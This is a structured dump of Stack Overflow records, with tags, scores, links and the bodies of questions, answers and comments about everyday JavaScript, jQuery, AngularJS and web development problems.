tagged with: for-loop
tagged with: google-maps
answer count: 1
has comment: http://stackoverflow.com/comment/40105655
tagged with: javascript
linked to: http://stackoverflow.com/q/25666044
tagged with: google-maps-api-3
score: 0
has body: I have add the following code to a Google Map on a site of mine. The map contains many points pulling from coordinates set in the WordPress backend. I also want to include some static points which will always stay on the map and am hardcoding their coordinates. The following is the code I am using and what happens is that the code displays the first marker but not the infobox. Because of this, the code stops and does not continue through the for loop. The issue is at the return function() bit, but I am not sure how to get it working. var infowindow = new google.maps.InfoWindow({maxWidth: 185}); var setMarker; var setMarkers = new Array(); var setLocations = [ [' Location1 ', 53.4264,-6.2499, '/wp-content/themes/path/to/airport_icon.png'], [' Location2 ', 53.3461,-6.2969, '/wp-content/themes/path/to/train_icon.png'], [' Location3 ', 53.3532,-6.2468, '/wp-content/themes/path/to/train_icon.png'], [' Location4 ', 53.4264,-6.2499, '/wp-content/themes/path/to/dvc_icon.png'], [' Location5 ', 53.4264,-6.2499, '/wp-content/themes/path/to/dvc_icon.png'], ]; for (var i = 0; i < setLocations.length; i++) { marker = new google.maps.Marker({ map: map, position: new google.maps.LatLng(setLocations[i][1], setLocations[i][2]), icon : setLocations[i][3], }); setMarkers.push(setMarker); google.maps.event.addListener(setMarker, 'click', (function(setMarker, i) { return function() { infowindow.setContent(setLocations[i][0]); infowindow.open(map, setMarker); } })(setMarker, i)); }
has comment: http://stackoverflow.com/comment/40108427
has comment: http://stackoverflow.com/comment/40105522
accepted answer: http://stackoverflow.com/a/25664596

http://stackoverflow.com/q/25594920
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/2610497
has body: On a jQuery Mobile page, I have the following: &lt;input name="SearchCriteria" id="SearchCriteria" value="" placeholder="Case Number, Caption, Client, Firm or Claimaint." /&gt; I am trying to reduce the placeholder font a bit.. I've tried this answer, but it doesn't seem to do anything on a jQuery Mobile page. Am I missing something simple?
type: Question
answer count: 1
downvote count: 0
tagged with: jquery-mobile
tagged with: javascript
tagged with: jquery
has title: How to change the placeholder font on a jQuery Mobile page?
has answer: http://stackoverflow.com/a/25595092
has comment: http://stackoverflow.com/comment/39979867
tagged with: http://stackoverflow.com/tag/html
score: 1
tagged with: css
has comment: http://stackoverflow.com/comment/39979817
favorite count: 0
accepted answer: http://stackoverflow.com/a/25595092
has comment: http://stackoverflow.com/comment/39979565
upvote count: 1
has comment: http://stackoverflow.com/comment/39979325

http://stackoverflow.com/comment/40125539
type: AnswerComment
score: 0
type: Comment
has text: Thanks man, any suggestions on good tutorials to read on jquery and javascript syntax?
comment on: http://stackoverflow.com/a/25675236

http://stackoverflow.com/a/26349708
accepted answer of: http://stackoverflow.com/q/25595217
score: 0
answers question: http://stackoverflow.com/q/25595217
type: Answer
has body: With the purpose of having an answer to the question. this is just a copy from @PeterLyons comment which nailed the question properly. Token npm package does all the job with a really simple configuration. https://www.npmjs.org/package/token
type: AcceptedAnswer

http://stackoverflow.com/a/25659912
has comment: http://stackoverflow.com/comment/40098079
answers question: http://stackoverflow.com/q/25659894
accepted answer of: http://stackoverflow.com/q/25659894
score: 4
upvote count: 4
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: You can do it like this: db.getCollection("version").find() The last form being essentially the same a you do in the Java driver or indeed in many language implementations where dynamic binding is not available. The same applies for any other form where the name would not be allowed in the shell, such as: db.getCollection("example@example.com").find() Actually all that happens under the hood in the shell is that this official method is called.
has comment: http://stackoverflow.com/comment/40098266

http://stackoverflow.com/q/25644973
accepted answer: http://stackoverflow.com/a/25645083
type: AnsweredQuestion
type: Question
score: 9
has comment: http://stackoverflow.com/comment/40070438
upvote count: 9
tagged with: javascript
has answer: http://stackoverflow.com/a/25645083
tagged with: iife
has answer: http://stackoverflow.com/a/25645255
answer count: 2
downvote count: 0
has body: I've specified a function in my controller like this: $scope.myFunction = function(){ console.log('test'); } I want this function to be triggered when a selectbox has been changed. Therefore I apply ng-change on the select element like this: &lt;select ng-options="..." ng-model="..." ng-change="myFunction();"&gt;&lt;/select&gt; But I also want the myFunction function to be triggered when my page is loaded. So I thought to turn my function into a IIFE: ($scope.myFunction = function(){ console.log('test'); }()); However, now the function is only triggered on pageload and not by ng-change. I noticed that when I change the parenthesis, the function also gets triggered by ng-change: ($scope.myFunction = function(){ console.log('test'); })(); Can someone explain why this even matters? Thanks alot!
favorite count: 0
possible better answer: http://stackoverflow.com/a/25645255
tagged with: angularjs
has title: IIFE in AngularJS
has comment: http://stackoverflow.com/comment/40074747

http://stackoverflow.com/q/25620956
answer count: 3
downvote count: 0
tagged with: jquery-bootgrid
tagged with: jquery
favorite count: 0
has body: How exactly are you meant to use the methods for jQuery BootGrid? I've tried: $("#presentation-listing-api").bootgrid('remove', [uid]); Doesn't seem to be working? It's not helpful that the documentation isn't quite finished yet.
has comment: http://stackoverflow.com/comment/40068457
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40026750
tagged with: twitter-bootstrap-3
has answer: http://stackoverflow.com/a/38210382
has answer: http://stackoverflow.com/a/26662735
type: Question
has comment: http://stackoverflow.com/comment/40026789
has answer: http://stackoverflow.com/a/34146714
upvote count: 5
has title: Using jQuery Bootgrid Methods
tagged with: javascript
score: 5

http://stackoverflow.com/comment/40156572
comment on: http://stackoverflow.com/q/25692216
score: 0
has text: No, I don't think so. Refreshing with Ctrl + F5 clears the cache and forces the JS to reload doesn't it?
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25561114
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/39916551
downvote count: 0
answers question: http://stackoverflow.com/q/25560933
accepted answer of: http://stackoverflow.com/q/25560933
has body: Instead of spliting, you may consider using the match() method. var s = 'ເລື້ອຍໆມະຫັດສະຈັນເອກອັກຄະລັດຖະທູດ', r = s.match(/(?:(?!ະ).)+?(?:ະ|(?=[ໃໄໂເແ]|$))/g); console.log(r); //=&gt; [ 'ເລື້ອຍໆມະ', 'ຫັດສະ', 'ຈັນ', 'ເອກອັກຄະ', 'ລັດຖະ', 'ທູດ' ]
score: 3
upvote count: 3

http://stackoverflow.com/comment/39914950
score: 0
type: Comment
has text: Why does the `.click(loadPlantilla);` doesn't have `()`? It seems that when it has `()` it calls the method on page load.
type: AnswerComment
comment on: http://stackoverflow.com/a/25560224

http://stackoverflow.com/a/25712404
has comment: http://stackoverflow.com/comment/40197499
has comment: http://stackoverflow.com/comment/40193678
upvote count: 1
has body: modelFor won't fetch a model for a route that isn't hit. It's just going to output undefined. You can test this with console.log. http://jsbin.com/yotinemubinu/4/edit this.render('charts', { into: 'index', outlet: 'charts', controller: this.controllerFor('charts'), model: this.modelFor('charts') }); Additionally you should be extending ObjectController instead of Controller. You should read this section: http://emberjs.com/guides/routing/
score: 1
has comment: http://stackoverflow.com/comment/40193643
has comment: http://stackoverflow.com/comment/40193736
downvote count: 0
has comment: http://stackoverflow.com/comment/40197161
has comment: http://stackoverflow.com/comment/40193921
has comment: http://stackoverflow.com/comment/40193689
answers question: http://stackoverflow.com/q/25711570
type: Answer

http://stackoverflow.com/comment/39943787
has text: jQuery also provides [`$(html, attribtes)`](http://api.jquery.com/jQuery/#jQuery-html-attributes), why not make use of it? That being said, *I* also prefer the `attr` form and such is not deserving of a downvote. *But*, take care not to implicitly deny the legality of the initial form *and* point out (in words) the problems with the original so that they can be easily recognized.
type: AnswerComment
type: Comment
score: 3
comment on: http://stackoverflow.com/a/25575378

http://stackoverflow.com/comment/40052403
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25627220
type: Comment
has text: Your `$('#State').change()` function is doing a post. If you don't want it to do a post, then remove the code. What do you actually want to happen when your select a value from `State`? You say you have 2 dropdowns (`module` and `submodule`) but your view code only shows one! Which one of these is `State`?

http://stackoverflow.com/q/25636054
has comment: http://stackoverflow.com/comment/40068517
type: Question
has comment: http://stackoverflow.com/comment/40056075
has answer: http://stackoverflow.com/a/25636305
tagged with: border
score: 0
has body: You can see the site here: Memory Game (not sure why cards are spaced out.. want them to be close together) I'm trying to create a simple site that creates a table of images for memory card game. Images load correctly, and the Java Script seems to work, but I can't seem to get the border to dynamically size with the size of the table. No matter what I do, the border width expands across the whole screen irregardless that the images that make up the table are much smaller than the area the border encompasses. (Ironically, the height seems to dynamically change correctly, but not the width.) Many thanks in advance! Here is the HTML Warhammer 40K Memory Card Game This text should be removed by the javascript. Easy Medium Hard here is the Java Script function startTable(setting) { "use strict"; var tableDiv = document.getElementById("tableDiv"); var checkSetting = setting; var newVar; tableDiv.innerHTML = genTable(setting); } function genTable(setting) { "use strict"; var html = ""; var i = 0; if(setting == "easy") i = 4; else if(setting == "medium") i = 6; else if(setting == "hard") i = 8; html += " "; for (var col = i; col > 0; col--) { html += " "; for (var row = i; row > 0; row--) { html += " " } } html += " "; return html; Here is the CSS body { margin: 5px; background-color: black; color: white; font-family: Comic Sans MS, cursive, sans-serif; text-align: left; } h1 { text-align: center; font-family:Georgia, serif; color: red; } h2 { text-align: left; font-size: 22px; color: red; font-family:Verdana, Geneva, sans-serif; } table { width: 100%; border-collapse: collapse; table-layout: fixed; } table tr td { padding: 5px; } table tr td img { max-width: 100%; } img { outline: 4px solid #eee; } a:link { color: #22F01B; } a:visited { color: yellow; } #masthead { text-align:center; padding-top: 10px; border-bottom-style:dashed; border-bottom-width:medium; border-bottom-color:#000080; } #tableDiv{ width: auto; height: auto; margin: auto; padding: 2px 0px 0px 0px; border: …
answer count: 3
tagged with: javascript
tagged with: http://stackoverflow.com/tag/html
possible better answer: http://stackoverflow.com/a/25636305
tagged with: css
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25645005
has answer: http://stackoverflow.com/a/25636543
accepted answer: http://stackoverflow.com/a/25636543
has title: Dynamic Java Script Table Border not sizing correctly

http://stackoverflow.com/q/25711735
has comment: http://stackoverflow.com/comment/40192540
has answer: http://stackoverflow.com/a/25712607
score: 0
possible better answer: http://stackoverflow.com/a/25711844
accepted answer: http://stackoverflow.com/a/25712607
has answer: http://stackoverflow.com/a/25711844
type: AnsweredQuestion
has title: Pass hidden value in webpage using jqGrid javascript to server code on record insert
has comment: http://stackoverflow.com/comment/40192230
type: Question
answer count: 2
has body: I want to insert a new record in the jqGrid with a default field (hidden) as a parameter to the controller. I was able to pass the parameter for the grid get query request by using datatype: 'json', postData: { parameter_to_pass: function () { return document.getElementById('the_hidden_field').value; } }, but I can't get the create new record to work. Thanks in advance!
tagged with: jqgrid
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/q/25697115
has body: I have a single page AngularJS application which is backed by Ruby on Rails server. The routing definition is only defined in RESTful Rails route.rb config, such as: http://localhost/pages/:page_id/comments/:comment_id The client is AngularJS with no routeProvider configuration. So it is just a simple AngularJS controller with view. When I am in http://localhost/pages/:page_id/comments/:comment_id.html, I want to extract the value of :page_id and :comment_id. What is the best way to do it in AngularJS? Note: I don't mind if really needed to use routeProvider. But I would only have one templateUrl in that case.
tagged with: ruby-on-rails
downvote count: 1
accepted answer: http://stackoverflow.com/a/25697355
type: Question
tagged with: javascript
score: -1
upvote count: 0
answer count: 1
has title: How to get routing parameters of simple single page app?
favorite count: 0
has answer: http://stackoverflow.com/a/25697355
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40165830
type: AnsweredQuestion

swixml
type: Tag
tags question: http://stackoverflow.com/q/25592901
tag name: swixml

http://stackoverflow.com/q/25687075
type: Question
has body: Each time I refresh my page, my breakpoint are moved to the end of my script. I have to replace them when the execution is paused, and only then I can debug my script where I want. This doesn't only happen when I change my script, but also every time I reload the page. And how to solve this problem?
upvote count: 1
downvote count: 0
has title: Why do my breakpoints change position when I refresh my page with angularjs?
tagged with: javascript
favorite count: 0
tagged with: breakpoints
has comment: http://stackoverflow.com/comment/40150664
tagged with: angularjs
answer count: 0
has comment: http://stackoverflow.com/comment/40147571
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40149790
score: 1
has comment: http://stackoverflow.com/comment/40146301
has comment: http://stackoverflow.com/comment/40149295

http://stackoverflow.com/a/25570604
type: Answer
has body: In question .html use this &lt;br&gt; &lt;div&gt; Q{{ questionID+1 }}.{{list[questionID].award}} ? &lt;/div&gt; &lt;br&gt; &lt;div ng-repeat="nominee in list[questionID].nominees"&gt; {{$index+1}}.{{nominee.name}},{{nominee.age}} &lt;/div&gt; I have changed your questionID to represent list index instead of using q prefix Also make questionId int $scope.questionID = parseInt($stateParams.questionID); Working Demo: http://plnkr.co/edit/qIb07wvqciCfc1VarVnO?p=preview
answers question: http://stackoverflow.com/q/25569129
score: 0

http://stackoverflow.com/comment/40134317
score: 2
has text: What's with the downvotes? Perfectly reasonable to ask what event, if any, is triggered when the browser auto-fills.
comment on: http://stackoverflow.com/q/25680278
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40026535
has text: OK, then. Too bad these awesome console tools are not (yet ?) able to provide that help :D
type: Comment
comment on: http://stackoverflow.com/a/25610524
score: 0
type: AnswerComment

http://stackoverflow.com/a/25666083
answers question: http://stackoverflow.com/q/25665439
has comment: http://stackoverflow.com/comment/40777725
has body: Check this url. It contain few example for printing content from page.It has all you need. I had use jQuery Print Element 1.2 for print, in this, if you have large content to print then you need to increases time out from 50 to 500,other wise it will show blank page as you face issue, but for me it is only happend in Chrome browser, other then that i haven't face this issue. check printElement js. below url contain nice example with demo and source. Check this : jQuery Print Page Options Here is the code , which will help you. function printClick(receipt_bg) { var DocumentContainer = $('.receipt_bg').html(); var WindowObject = window.open("", "printElementWindow", "width=650,height=440,scrollbars=yes"); WindowObject.document.writeln(' '+ ' test print receipt ' + DocumentContainer + ' setTimeout(printPage(),1000); function printPage(){focus();print();}<\/script> ') WindowObject.close(); } This will work for you, here i added one javascript function to your window code, which will executed after timeout. try it, and let me know , is it work for you or not. you can extend or decrees timeout as per your content.
score: 0
has comment: http://stackoverflow.com/comment/40307336
has comment: http://stackoverflow.com/comment/40364220
type: Answer
has comment: http://stackoverflow.com/comment/40764401

http://stackoverflow.com/q/25594487
tagged with: javascript
score: 0
has body: I saw a couple of examples how to insert custom providers into angular's .config, but I fail to do it properly. I have a provider: (function() { var app = angular.module('application.providers', ['application.services']) app.provider('accessProvider', function() { this.$get = ['userServices', function(userServices) { var auth = {} auth.action = function(action, roles) { auth[action] = angular.copy(roles) } auth.action('sell', [...]) auth.can = function(action) { var userRole = userServices.getRole() return auth[action].reduce(function(prev, now) { return prev || (now === userRole) }, false) } return auth } ] }) })() And when I am defining my routes here: (function() { var app = angular.module('application.configRoutes', ['ngRoute', 'application.providers']) app.config(['$routeProvider', '$locationProvider', 'accessProvider', function($routeProvider, $locationProvider, accessProvider) { ... I get the following error: Uncaught Error: [$injector:modulerr] Failed to instantiate module landingPage due to: Error: [$injector:modulerr] Failed to instantiate module application.configRoutes due to: Error: [$injector:unpr] Unknown provider: accessProvider This is how I instantiate my app: var app = angular.module('landingPage', [ 'application.configRoutes', 'application.directives', 'application.controllers', 'application.translate', 'application.flash', 'application.customInterceptors' ]) and I load the file storing the services.js before the providers.js and only then I load the configRoutes.js.
accepted answer: http://stackoverflow.com/a/25594562
tagged with: angularjs
has answer: http://stackoverflow.com/a/25594562
type: Question
type: AnsweredQuestion
has title: Custom provider within angular .config
answer count: 1

http://stackoverflow.com/comment/42089595
type: Comment
type: QuestionComment
score: 0
has text: I have the same problem, when I set a cookie value and then use $location.url()
comment on: http://stackoverflow.com/q/25557193

http://stackoverflow.com/comment/39960896
type: Comment
comment on: http://stackoverflow.com/a/25584553
type: AnswerComment
has text: @KevinBrechbühl this is the OP answering his own question and what worked for him - please be more careful in your flags. OP - $http.get already returns a promise, so wrapping it in another promise is redundant.
score: 0

http://stackoverflow.com/comment/40081802
has text: @zishe thank you very much for the link to js2coffee - I didn't know this tool, I appreciate. However, don't understand the downvotes. It's a valid question, and I didn't know the tool. There's no need for that step, instead you taught me the tool and that's great. You could have provided that as an answer and I would accept that instead. There are soooo many stupid questions about jquery etc. in stackoverflow which have 1k + votes, where the asker could just look at the docs as well. I think ppl are using downvotes in a wrong manner.
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/25651089

http://stackoverflow.com/comment/40258500
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25688767
has text: I have not seen that, thats ofc wrong. thank u very much !

http://stackoverflow.com/comment/39968327
has text: You're not passing in nearly enough to the create method. The documentation is actually pretty clear and concise. Did you look here? https://developer.chrome.com/extensions/notifications#method-create
type: Comment
comment on: http://stackoverflow.com/q/25588849
type: QuestionComment
score: 3

http://stackoverflow.com/comment/40167628
comment on: http://stackoverflow.com/a/25698178
score: 0
type: AnswerComment
has text: I use google app engine to run my project. My project has war folder. My project name is ContactsWithAjax. I don;t know how to deal with the context. Please Help.
type: Comment

http://stackoverflow.com/q/25627220
tagged with: ajax
has comment: http://stackoverflow.com/comment/40038687
has title: Prevent from ajax call in MVC
accepted answer: http://stackoverflow.com/a/25643907
has body: Hi i am making my project in the asp.net, basic expected behaviour -- fill form name , select master module(dropdown), select sub modules(dropdown), ajax passes id of submodule dropdown, create(submit).. it will submit all values, now code is behaves---- fill form name, select master and submodule, while selecting submodule from second dropdown is calling the ajax call, and create action is called, so the form name and masterID(that is extracted from first dropdown) gone blank... so i need to prevent the ajax call to call the controller Myform in razor view @using (Html.BeginForm()) { @Html.AntiForgeryToken() @Html.ValidationSummary(true) Form @Html.LabelFor(model => model.FormName) @Html.EditorFor(model => model.FormName) @Html.ValidationMessageFor(model => model.FormName) } @Html.ActionLink("Back to List", "Index") My ajax call $('#State').change(function () { var a = $('#State').val(); var token = $('[name=__RequestVerificationToken]').val(); $.ajax({ url: "/form/create", type: "POST", data: { __RequestVerificationToken: token, 'SubID': a } }); }); My controller [HttpPost] [ValidateAntiForgeryToken] public ActionResult Create(Form form, int SubID) { if (ModelState.IsValid) { form.CreatedBy = 1; form.SubId = SubID; form.CreatedDate = DateTime.Now; form.ModifyBy = 1; form.ModifyDate = DateTime.Now; form.IsActive = true; form.IsDeleted = false; db.Forms.Add(form); db.SaveChanges(); return RedirectToAction("Index"); } ViewBag.MasterID = new SelectList(db.Departments, "MasterId", "ModuleName", form.MasterID); return View(form); }
has comment: http://stackoverflow.com/comment/40067752
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40039227
has comment: http://stackoverflow.com/comment/40067481
type: Question
tagged with: asp.net-mvc
has answer: http://stackoverflow.com/a/25643907
has comment: http://stackoverflow.com/comment/40052403
possible better answer: http://stackoverflow.com/a/25628128
has answer: http://stackoverflow.com/a/25628128
score: 0
has comment: http://stackoverflow.com/comment/40039288
answer count: 2
has comment: http://stackoverflow.com/comment/40038888
has comment: http://stackoverflow.com/comment/40044594
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40044959

http://stackoverflow.com/a/25553630
answers question: http://stackoverflow.com/q/25553187
score: 5
has comment: http://stackoverflow.com/comment/39902785
type: Answer
upvote count: 5
downvote count: 0
has body: In vanilla JavaScript: function ready() { var box = document.getElementById('box'), top = box.offsetTop; function scroll(event) { var y = document['documentElement' || 'body'].scrollTop; if (y &gt;= top) box.classList.add('stick'); else box.classList.remove('stick'); } window.addEventListener('scroll', scroll); } if (document.readyState == 'complete' || document.readyState == 'loaded') { ready(); } else { window.addEventListener('DOMContentLoaded', ready); } JSFiddle example: http://jsfiddle.net/869fqgds/4/

http://stackoverflow.com/a/25632049
answers question: http://stackoverflow.com/q/25631953
type: Answer
has body: You might want to check the documentation on Ajax calls. Here's an example on how to pass data to a file : $.ajax({ type: "GET", url: "../tcpdf/examples/polizaPDF.php", data: { output: output } }) .done(function(data) { console.log($.trim(data)); }); Then on your polizaPDF.php you now have access to the php variable $_GET['output']
score: 0

http://stackoverflow.com/q/25671444
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40118762
tagged with: xmlhttprequest
has comment: http://stackoverflow.com/comment/40118350
has comment: http://stackoverflow.com/comment/40118785
has comment: http://stackoverflow.com/comment/40118617
score: 0
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/40118235
has comment: http://stackoverflow.com/comment/40118278
has comment: http://stackoverflow.com/comment/40118341
tagged with: javascript
type: UnansweredQuestion
has body: I want to run the another ajax request on one's success. THE CODE $(document).ready(function(){ $('*[data-load-template]').each( function () { var template = $(this).data('load-template'); var element = $(this); $.ajax({ url : "templates/" + template + '.tpl', method : "GET", success : function (htmlData) { $.ajax({ url : "data/" + template + '.json', method : "GET", success : function (jsonData) { console.log(jsonData); // why isn't this one working??? } }); element.html(htmlData); // this is working } }); }); }); // dom ready event My question is why isn't this code working and how to make it work.
has comment: http://stackoverflow.com/comment/40118195
has comment: http://stackoverflow.com/comment/40118798
has title: Ajax Request on another's success ( jQuery )
answer count: 0
tagged with: jquery
has comment: http://stackoverflow.com/comment/40118312
favorite count: 0
tagged with: ajax
has comment: http://stackoverflow.com/comment/40118201
has comment: http://stackoverflow.com/comment/40118857
type: Question
has comment: http://stackoverflow.com/comment/40118276
has comment: http://stackoverflow.com/comment/40118830
has comment: http://stackoverflow.com/comment/40118546

http://stackoverflow.com/comment/40169916
type: Comment
score: 0
has text: And I've updated my answer as well. I am pretty sure, this is exactly what you needed.
type: AnswerComment
comment on: http://stackoverflow.com/a/25698869

http://stackoverflow.com/comment/39952393
score: 2
comment on: http://stackoverflow.com/a/25580039
has text: Yeah, I have already found this mistake. thank you for help))
type: AnswerComment
type: Comment

http://stackoverflow.com/a/25605016
accepted answer of: http://stackoverflow.com/q/25603375
answers question: http://stackoverflow.com/q/25603375
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/118469141
type: Answer
downvote count: 0
has body: Spy on the displayContent() and check if it is called or not. I modified your test and displayContent() was called. Replace with this code and check. it("some test", function() { var data = {"name" : "John Doe"}; spyOn($, 'ajax').and.callFake(function (req) { var d = $.Deferred(); d.resolve(data); return d.promise(); }); spyOn(app, 'displayContent').and.callThrough(); app.getData(); expect(app.displayContent).toHaveBeenCalled(); }); In Jasmine 2.0 and.callThrough(); will delegate to the actual implementation of displayContent().
score: 1

http://stackoverflow.com/comment/40127119
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25589562
has text: Correct. Sorry for being unclear. It would be awesome if nothing could be in focus, and I could listen to key presses from just that one particular bluetooth device, but I understand that probably isn't possible.
score: 0

http://stackoverflow.com/comment/40162455
comment on: http://stackoverflow.com/q/25695296
type: QuestionComment
type: Comment
has text: I've seen something like a heartbeat.js file that shoots off a request at `setInterval`. Server side I believe it updates the session with the path of the page from which it was fired. I'm quite sure cookies aren't involved at all.
score: 0

http://stackoverflow.com/q/25597841
has body: I have a list of images. Each image have a link to delete it: echo 'Delete '; And Im deleting this images with jQuery Ajax. But when I have just one image I wan to hide this "Delete" link. So in my js file, the first thing I have inside my $(function(){}); is: hidelink(1); //my function to hide if I have only 1 image And it is working fine, when I acess my page If I have only one image my "Delete" link dont appears. But when I have my two last images and I click to delete one, when I click to delete I wan to hide my "Delete" link in that momment, and its not working, just works when I refresh the page. Do you see why this is happening? My code to delete a image is this: $(function(){ var banid = null; $("a#nao").click(function(event){ event.preventDefault(); $('.confirm').fadeOut("slow",function(){ $('.delete_dialog').fadeOut("slow"); }); $('.bannerli li[id="'+ banid +'"]').css('background','#f5f5f5'); banid = null; }); $("a#delete").click(function(event){ event.preventDefault(); if (!banid) return; $.post(url,{action:'delete',id: banid},function(){ window.setTimeout(function(){ $('.bannerli li[id="'+ banid +'"]').fadeOut("slow"); },500); $('.confirm').fadeOut("fast",function(){ $('.delete_dialog').fadeOut("fast"); }); hidelink(2); //here I call my function every time I delete }); }); $('.bannerli').on('click','.j_bannerdelete',function(){ banid = $(this).attr('id'); $('.bannerli li[id="'+ banid +'"]').css('background','red'); $('.delete_dialog p').text('You really want to remove this image?'); $('.delete_dialog').fadeIn("slow",function(){ $('.confirm').fadeIn("slow"); }); return false; }) }); This is the hide "Delete" link function: function hidelink($value) { if($('.bannerli li').length <= $value) { $('.j_bannerdelete').hide(); } }
score: 2
downvote count: 0
tagged with: jquery
favorite count: 0
tagged with: ajax
type: Question
upvote count: 2
answer count: 1
has comment: http://stackoverflow.com/comment/39984826
has answer: http://stackoverflow.com/a/25597873
has title: after ajax request my function call its not working properly, just works after page refresh
tagged with: javascript
type: UnansweredQuestion

http://stackoverflow.com/q/25686505
upvote count: 2
type: UnansweredQuestion
type: Question
has title: Changing Date in Flipclock.js
has answer: http://stackoverflow.com/a/25686582
score: 2
has body: I need help with Flipclock.js I have no knowledge of Jquery and this plugin is driving me nuts. I just need to change the date to 11/23/2014 at 6pm but I can not seem to able to figure that out. Here is my code var clock; $(document).ready(function() { // Grab the current date var currentDate = new Date(); // Set some date in the future. In this case, it's always Jan 1 var futureDate = new Date(currentDate.getFullYear() + 1, 0, 1); // Calculate the difference in seconds between the future and current date var diff = futureDate.getTime() / 1000 - currentDate.getTime() / 1000; // Instantiate a coutdown FlipClock clock = $('.clock').FlipClock(diff, { clockFace: 'DailyCounter', countdown: true }); });
downvote count: 0
answer count: 1
tagged with: javascript
tagged with: jquery
favorite count: 0

autofac
tag name: autofac
type: Tag
tags question: http://stackoverflow.com/q/25576975

http://stackoverflow.com/q/25575464
tagged with: javascript
has comment: http://stackoverflow.com/comment/39944767
tagged with: scope
has body: I though that this might be a duplicate of this question, except that I'm not using primitives in my code. I have a directive that I'm using to place inline svgs dynamically into my view. It works like so: app.directive('icon', ['$timeout', function($timeout) { return { restrict: "E", scope: { href:"@", title: "@" }, replace: true, templateUrl: $timeout(function(elm,attrs) { var definition = { add: "add133.svg", alert: "warning30.svg", attachment: "attachment13.svg", call: "auricular6.svg", calendar: "calendar5.svg", notify: "church2.svg", compass: "circular14.svg", cloud: "cloud127.svg", addUser: "create1.svg", delete: "delete30.svg", trash: "delete48.svg", servicedesk: "edit26.svg", email: "email20.svg", star: "favourites7.svg", key: "key162.svg", lock: "lock27.svg", search: "magnifier12.svg", menu: "menu48.svg", print: "printer70.svg", settings: "settings21.svg", share: "share12.svg", customer: "user91.svg" }; return 'svg/' + definition[attrs.name]; },30000) } }]); Eventually I'll update the code so that I'm using a service to get the list of definitions from a json file, but I'm only testing this for now. This works as expected. But when I repeat over it the value suddenly becomes undefined. See my view below: As you might infer from my code, I have a model defined in my controller called config and a property of that model is called mainlinks. Mainlinks is an object meant to provide the attributes needed for this block of code to work, it looks like this mainlinks: { dash: { name: "dashbaord", href: "#dashboard", title: "Dashboard", icon: "compass" } When it renders the DOM looks like this: But something like this works fine {{link.icon}} My guess is because my test span and the other working portions of my div block are all on the same scope, that of the controller housing them. But icon has its own isolate scope and on that scope, link.icon has no meaning. How can I get around this limitation? Or am I completely off base?
answer count: 1
downvote count: 0
tagged with: angularjs-ng-repeat
favorite count: 0
has answer: http://stackoverflow.com/a/25576488
has comment: http://stackoverflow.com/comment/39945188
tagged with: angularjs
has comment: http://stackoverflow.com/comment/39944707
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39944353
has title: AngularJS : ng-repeat over custom directive with isolate scope
score: 1
has comment: http://stackoverflow.com/comment/39945264
accepted answer: http://stackoverflow.com/a/25576488
upvote count: 1
type: Question
tagged with: angularjs-directive
linked to: http://stackoverflow.com/q/15623698

http://stackoverflow.com/comment/40008452
type: Comment
has text: Thanks, looks like on() is the way to go.
comment on: http://stackoverflow.com/a/25610384
type: AnswerComment
score: 0

http://stackoverflow.com/comment/91352399
comment on: http://stackoverflow.com/a/25585454
has text: @Think-Twice I am using ES6 too ;)
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/40023782
comment on: http://stackoverflow.com/q/25619117
score: 0
type: Comment
type: QuestionComment
has text: can you please supply the rendered html from your page

http://stackoverflow.com/comment/40089373
type: Comment
score: 1
has text: This should be an edit to the *question*, not a separate answer. Click on the edit link (below the tags of your question) and add this information there.
comment on: http://stackoverflow.com/a/25655081
type: AnswerComment

http://stackoverflow.com/q/25709829
type: UnansweredQuestion
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/54245367
score: 1
tagged with: jsplumb
answer count: 1
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0
linked to: http://stackoverflow.com/q/20620719
has title: Save and Load Jsplumb chart
has body: I have the following code that creates chart using JsPlumb. i need to save the chart, then reload it with its exact nodes and connections. any help please? the code is to connect draggable elements using JsPlumb. A B C
has comment: http://stackoverflow.com/comment/42111568
has comment: http://stackoverflow.com/comment/40202156
linked to: http://stackoverflow.com/q/56913843

http://stackoverflow.com/a/25597529
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25577481
has comment: http://stackoverflow.com/comment/40035555
upvote count: 1
has body: success/error was not called is a common error that you'll see if your Cloud Function fails to call either response.success() or response.error(). It seems like the error in your code is located outside of the sample you've provided, as it's likely your function is reaching the end of the Promise chain without either of these getting called.
type: Answer

http://stackoverflow.com/q/25658565
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40095600
type: Question
tagged with: google-visualization
tagged with: javascript
score: 4
has answer: http://stackoverflow.com/a/25678166
upvote count: 4
has title: cannot read property 'count' of undefined in google charts
answer count: 2
